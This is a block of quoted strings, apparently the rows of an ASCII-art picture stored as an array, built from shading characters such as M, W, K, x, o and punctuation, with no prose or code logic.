"MMMMMWXK0OOxc,..,;::cllc:::codllccd0d,;ool:;lxdoloolllccccldxoc::cdXWWWNXWMMMXdcc:ldxxkkOOkkkxdl:;,'..,;,..;'....,;;,..',..,lkKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MWNK00OkOOkl..,;;;cooc;:c:lkxc;;;lx0o';lool:ckxocloooloooolcoxolcccool:,lXMMMXoll:::::clllccc::;;,''.''..';;...',,,'..',. .:d0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "K0OOkxdoxkxo,.,;:dkd:;;::;x0l,;:codxkl;:llc:oxoc:lodddddddol:ldxolll:;;;dNMMMKlcc:::::,,;::::;:;,'.......lOl,..',''.'',;'.. .:xXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "Oxkkddxccdl,.',ckko:;:::;;d0o;;cdddddxd::cl:clddlllloooooddoc;cxkdlloollOWMMM0lc:,;ccc:;;:::::;;,........cOc,.........';;;,,...... 'lkKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "Kxxkoc::cc,.',lOkc;;::c::ckOd::oddddxddxo:clc:cdkxoodxxxddolc:,:xkdoloodKMMMWOcc;,';::cc:::::;;;,.....'..ok,........ ....',;,,:ll:;;'..'cxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "Nkoxxdooo;'',l00l;::::::okxl;:lc;;,,;;;okxl:llc:okkkOOOOOOxlcccldxxdlodxXMMMNxcc:;,,;:::cc::;;;,.....''.;Ol........ .....',;cllc:oxxo:,. .:d0NWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "M0ooo;','.''c0Kd;,;;:;:oxxl;:ooc...',:dOOOOdccoolooloooodkOkkkxdoooolodkXMMMXd:::::;;:cc:::;;;,'....,,..;:........ ....'';ldodoccooodxxo:'. .;coOXNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MXdoo' ..'';kKk:',:looxxdc;cooddo,.,lxO000kkxooloooooolllokOxxddoddddxxONMMMKl::::c::::lc:::;;,....,;....,....... ....',;colccc:clooooooddoc'.....;cdkOKXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MNkod:..'''o0kc',okxdlclc;clooooolcldddddoolldkddxooxxxxxdxkddxxxxxxkxd0WMMMOc:;:::ccc::c:::::;...',....xXkl:'......''',;,,;;;:;:ldolllddolll:,;:;'.......';cxNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MW0ddl...''lxoooOKkdc;,;:llc::::::::ccccccccccloooldxkkkkkkkOkkkxxdxkxxXMMMNd;;;;:::ccccc:;;;:;........lNMMWNKd'.....',;'.',,..;::::clollc::cclllc;col:,''...,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMXkdo;...';:cloO0d:;;:clc,'',,;;;:clloododdxxxdddxkkkOOkkkkkkkkxxxkOxONMMMXo;;,,;::::cclcc:::;.......'kWMMMMMO,.....',...,,..',,;:::::;,;;:c:cllcclooooodxd:dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMWOooc'..'',,,;:c;,;;;;;',;:c::ccccllloddddxxkkkkOkkkkkkkxxxxxxxkkOkx0WMMMO:;,'';;:ccccccc:;,.. ... .cXMMMMMMWX0kol::;......',::::;;,'',,.',,;;;;;cooddddl:;lONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMM0ool,..',,,''',,;;;;,,;;;:::cccccllllodxxxxxkkxxxkkkkkOOOkkkkOOOkkkKWMMNd;;'.'',;:::::;,'....... ..xWMMMMMMMMMMMWWWN0kdllcc:;,,''..'''......'',;cclool:;;;;;o0WMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMXxoo;..''''',,,,,,;;;;;;;;:cc::clllllodxxxkxxxxkkkkOOOOkkkkxkOOOOkOXMMMKl;;'..''',,'''............'dWMMMMMMMMMMMMMMMMMMMMWNXK00kxdoc'.........,;;::,....;cc;,:xNMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMWOoo:...'''''',,,,,,;,,;;;::::cccllllodxxxxdxkkkkkkkkkxxxxkkkOOOkkKWMMWk:;,..''''''................oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx,''...',,'''.. .,clc:;,l0WMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMKdlc,..'''',,,,,,;;;;,,;;;;::ccccllodddxxdxxxxkkkOOkkkkkOOOOOOkx0NMMMKl,,......... ..............:KWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOxxkko;'.... .. .. .:ool:,,:xXWMMMMMMMMMMMMMMMMMMMMMMM", "MMMMNklc;...'''',,,,,,;;;,;;;;;::ccccclooddddddxxkkOOO00OOOOOOOkkkxkXWMMWx;''.....................'...':dxkkOOKWMMWNX0kdododxKWMMMMMMMMMMMMMMWXKOd:';dc;:;'.;odocldc:lxO0Okx0WMMMMMMMMMMMMMMMM", "MMMMMKocc,....'''',,,,,,;;;;;;;;::::ccllooddddxxxxxxkkkkkkkkkxdddox0NWMW0c''.......''.........,::cc'...',;:;;,:xOkdo;,;cc,...'cONMMMMMMMMMMMMMMMMMN0KKkO0xl:,lddc'',,;:::;,'dNMMMMMMMMMMMMMMMM", "MMMMMNkll:'..'''',,,,,,,,,;;;;;::::cccclooodxxxkkxxxxkkkkkkOOOOkdox0XWWNo''.......''........';::,.........',,;cllc:;:oooodxkOOOKNWWWWWWWWMMMMMMMMMMXkclKX00x:;lo:..'.',,,;,:OWMMMMMMMMMMMMMMMM", "MMMMMMKdll:...''''',,,,,,,,;;;;;:::ccccllodxddddxxkkkkkkkkO0KXNXXK0KXNNx,'.................',........ ...';:ccc;';oxxKNNNNNNNNNNNNWWWWWWWMMWWWWMMNx'.:ccxOllOKd:do..'''.;kWMMMMMMMMMMMMMMMMM", "MMMMMMWOool;...','''''',,,,,,,;;;;:::ccllodxxdddddxxxxxxxkOKWWWWWNNNNNk;'...................'..'..... .',,:ccc:';ldO0KKKXXXXXKXXXXXNNNWWWWWWWWWWWWXOd:...''lKNOool;,'''',cxKWWMMMMMMMMMMMMMM", "MMMMMMMXxodl,.':c:,''',,,,,,,,,,;;;::cclloodxxxxddddddddddxKWWWWWNXNNO;......................'.... ...',,:cclc,.cdx0KKKKKKKKKKKKKKKXNNNNWWWNNNNNNNNNWNOkdc:oOklc::c:,'.';:o0NWWMMMMMMMMMMMMM", "MMMMMMMMKxddlcoddoc,'''',,,,,',,,,;;::cclloooodoooooooooollxXNNNNWNNO:.................................';;;clll;',cdO00000OO00K0OO0KXXNNNNNNNXXXXXXXKKNMMMMWN0xl:::;;,',;llcok0KXNWWWMMMMMMMMM", "MMMMMMMMWKxxxxkOkxoc,.',,,''''',,,,;:::cllllllolccllloolll::xKXXNNNk;............................'...',::;:looc'.cxxkOOkkkOOOOxxO0KKKKXXXNNXXKKKKKKKK0KWMMMMMWNKOOkxxko;:clc;:lodOKXNWWWMMMMMM", "MMMMMMMMMW0xdkkkkkd:..',,''''',,,,,;;;::ccclllccccccllccc:clxKNNNXx,......................''',,,'..',,:c;;llol,';cddoddxxkOOxdxk0OOOKKKKKKXXK000000KKO0NMMMMMMMMMMMMMMNx,..''''',:ok0KKKKXXWMM", "MMMMMMMMMMWKxoxkkxd;..',c:'''',,,,,;;;::::::::ccc::ll:::;cxOKNWNXd,....................';;;;;;;,'',;;:l:;:lll;.:l:lolodxkOkddkOkdook000000000O0000000kkNMMMMMMMMMMMMMMMWKl',::;'''',:llllclxKN", "MMMMMMMMMMMMXxoxkxo;..'';dl,'''',::;,;;;::col:;;:clc;;;;cd0NWWWKl'....................',;::;;::,,;ccclc;:cloc'.cl:;codxkxddxkOko:lxkkkkOOkkkkkOOOOkxdlkWMMMMMMMMMMMMMMMMMNOlokl'',:ol;'',,,;:d", "MMMMMMMMMMMMMNkodkxo:,..';odc,.,c::;,;;;;,,;lolcoo:,,,:ld0WWWW0:....................',,;;::ccc:;:lllol::clol,.;l:;cldxxdodxkkxc;cdxxxkkkxdddxxxddolc;;dNMMMMMMMMMMMMMMMMMMMNkl;;,',oXXOd:'',,:", "MMMMMMMMMMMMMWKdodxxdo:'..':odccc,'',,,;:;;;;cddc;,,,:oOKWWWNx,...................',,;;::clll::clllooc::lol;',::,;ccllldkO0Oxc';lddxkkxddddddolllc;',:cOWMMMMMMMMMMMMMMMMMMMMNkl;,'cKMMMNOo:,,", "MMMMMMMMMMMMWXxc:codkxol;'...;clc,';;:loxxl,,,;;;,;:lxKNWWWKl'..................'',,;;:clllc:clllllolcccll:',cccc,,ccldkOkkd:..:looollodxxdolc:::;,,,''dNMMMMMMMMMMMMMMMMMMMMMMN0kk0WMMMMMWXOd", "MMMMMMMMMMMWXkl;'.,lddxxdl;'...',',cc:lx0XKd;',,,:xO0NWWWXx;...................'',,,,;:cllcclllcclollcloo:.,cl;,:'';cldxxo:'..''';coodddddllc:;,,,'..',dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMWXkl:,',::;codkkdl:,'...;lc;:oONWNO:';d0XWWWWNOl,........................',;::::cllcccloolcloo:'';cl:;'';coddo:,....,;,,;;:cccl:'''''',,;;;''xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMNOoc:',cc'.,oooxkxdlc;''coc,:olOWMMKO0XWMMWN0o;'.. ....................',,;;::lllcclooolclllc'':l:::'.';clc;'........,;::cclcclllooool:;'..:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMNOolc,,c:..,xNXOxdodxdooooo:;d0ooNMMMMWMMWWKd:'... ..'...............',,;::cccc:ccooollllc:'':loc;,...'''.',;cc'.......',;::cccc:,'......'kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMN0dlc,.;:,',xNMMMWKkoodxxxxxo::okXWMMMMMMWXx:'':::;:cldo,..........'....',;;:cclc::clooollllc;..cllodl:cclodxk0XNW0,.........'''''''........,kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMW0dl:'.,;,';xNMMMMMMWXOdlldxxkxoOWMMMMMMWKx:'':xNWWWMMMMNd'...........''',,:cclllccllooolllcc,.,:lx0NNWWWWMMMMMMMMMO' ......................'kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMWKdl:,',;'.:kWMMMMMMMMMMWKkdoodddkNMMWMW0d:'':xXMMMMMMMMMMNo............'';:clloolllodoollll:'.,clkXNWMMMMMMMMMMMMMMO' ...''''...............cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMWXkl:,,;,..lKWMMMMMMMMMMMMMWNKkxoldKWNXkl,.':kXMMMMMMMMMMMMMXl..........',:clloooooolooooolc;..:lloONWMMMMMMMMMMMMMMMX:......',;,,,,'''''....'kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMXkoc;,;,';dXMMMMMMMMMMMMMMMMMMMNKOk00d:'.'ckNMMMMMMMMMMMMMMMMXl.......,;::cloddddooollolll:'.,cololoKMMMMMMMMMMMMMMMMWx........''''''........cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMW0oc:::;,:kNMMMMMMMMMMMMMMMMMMMMMMMWXx;.'cONMMMMMMMMMMMMMMMMMMMXc.....',:cclloodddooolllc:,';::looollkWMMMMMMMMMMMMMMMMXc.........''.........'kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMKdc::::;l0WMMMMMMMMMMMMMMMMMMMMMMMMMMMN0KWMMMMMMMMMMMMMMMMMMMMMWx......,;:clooddooloolc:,'':;:lcllloddKMMMMMMMMMMMMMMMMMk'........''.........cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMNxc;::;ckNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:....'';:loooooollll:,',:cc:okkddokOxOWMMMMMMMMMMMMMMMMNc........''........'kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMM0c,,,;oKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,.',,;:clloooolc:;;:;:lldoldk0OxokKkkNMMMMMMMMMMMMMMMMMk'......'''........cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMWk:''c0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx,',;;:cclllc:;,,;ccc:cdkkx0XXKOdxKOd0WMMMMMMMMMMMMMMMMX:......'''......':kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMW0ooONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk;,,;::::;,,';::cclxkxkOO0XNXX0koOKxkNMMMMMMMMMMMMMMMMNc......'''......:kXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKxc'''',;::;llllcok0KXXKKXNNXKOdxKOdKWMMMMMMMMMMMMMMWO,...............dNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdc:coc:cc;:ldkOKXXXXXXXNNXK0xd0KxkNMMMMMMMMMMMMMMO,......'........'kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0kddOxl::cccdO0KKKXNXXXNNXK0Ox0XOxXWMMMMMMMMMMMMNo.......'''.......xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXXNXKl;::ldkO0K0XNNNNNNNXK0k0NKxONMMMMMMMMMMNx:'.......''''.....'xWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd::lodk000KNNNNNNNXXKO0XXkxKWMMMMMMMMXo'.......',,,;,,,,''lXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNkc:llxOOO0XNNNNNNXXK00XNOxONMMMMMMW0c'''......',,;;;;;,'lXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOc:lokOkkKXNNNNXXXK00XNKkkKWMMMMMXl..........',;;;,,,';OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0lclxkxx0XXNNNXXXKK0KNXOk0NMMMMMNo............''''...;0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdcokkxOKXNNXXXXXKKKXNK0OKWMMMMMKc............',,,,,,xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOlokxx0KXNNNNNXXKXXNNKOONMMMMMMXd,..........',,,,'.cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKxdddkKXXNNNNNNXXXNXX0xxOXWMMMMW0c........',,,,,;,,xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOdodOKXXNNNNNNNXXXXKOoccd0WMMMMNd'......,;;;;::,'cKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0oldO0KXXNNNNNXXXXKOkdc,;xXMMMMWO,.....',;:;;,,',o0XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0oldO0KXXNNNXXXKK0Okxx:',l0WMMMWk,....',;;,,,,,,,;oXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdldkO0KXXXXKK0OOkkO0o'',:kWMMMWd....',;;,,,,,,,,,oXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo;ldxO00000OOkkkkO0x,.,,,xWMMMK:...',;:;;,,,,;;,,dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXl';:codddxxxxxkkO0Oo'.,:',0MMMWx'.'';::::;;,,;;;,:0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo,,;clllooddxxkxxdl,.'cc'.oNMMM0;.',;::::;;;;;;:;;kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd;'':lloddoooool:,..'ld;..,kWMMNo..',;::::::c:::c:oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKc,'';cccc::::;,..':od:''..;kWMMNd,..';:clollllllcc0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c''''.........,cddl;,'...,:kWMMWKl'..';coddollllckWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0:',,''''',;clooc;,,'...,;';0MMMMWKo,..,:loddoc;lKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKc.',,;;;:;;,'.',,'...;:,..cXMMMMMMXkc,'';::;:dXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd,.........''''...,::,'..'xWMMMMMMMWX0kkkO0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKo'...........',;;,'.....:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk;..''''''',,,'........'dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKo'.'',,,'''......''''.;OWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOc....''''''''''',,,''cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNk:..''',,',,''',,,,',dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd,..',,,,,,,,,,,,,',dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c'.',,,,,,,,,,,,,',oKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNk:.'',,,,,,,,,,,,,;cxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd,',,,,,,,,,,,;;;;cdkKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c,,,,,,;;;;;;::cccodOWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXl',,,;;;;;::coo:;lllONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXl',;:::::loxdc:cc:;cOWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNkc;:cccllllccll;.''cKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNo'';;;;;:cc:,'...,oOXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx;',,;;,,'','....,;lKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c..''',,,'...'',,;lkNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx;.''''.',;,,;;;;:lxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKl'.',,,;:::::::ccldONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx,.'',,;;::clloolodkKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO;.',;;:looooddddoookXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM", 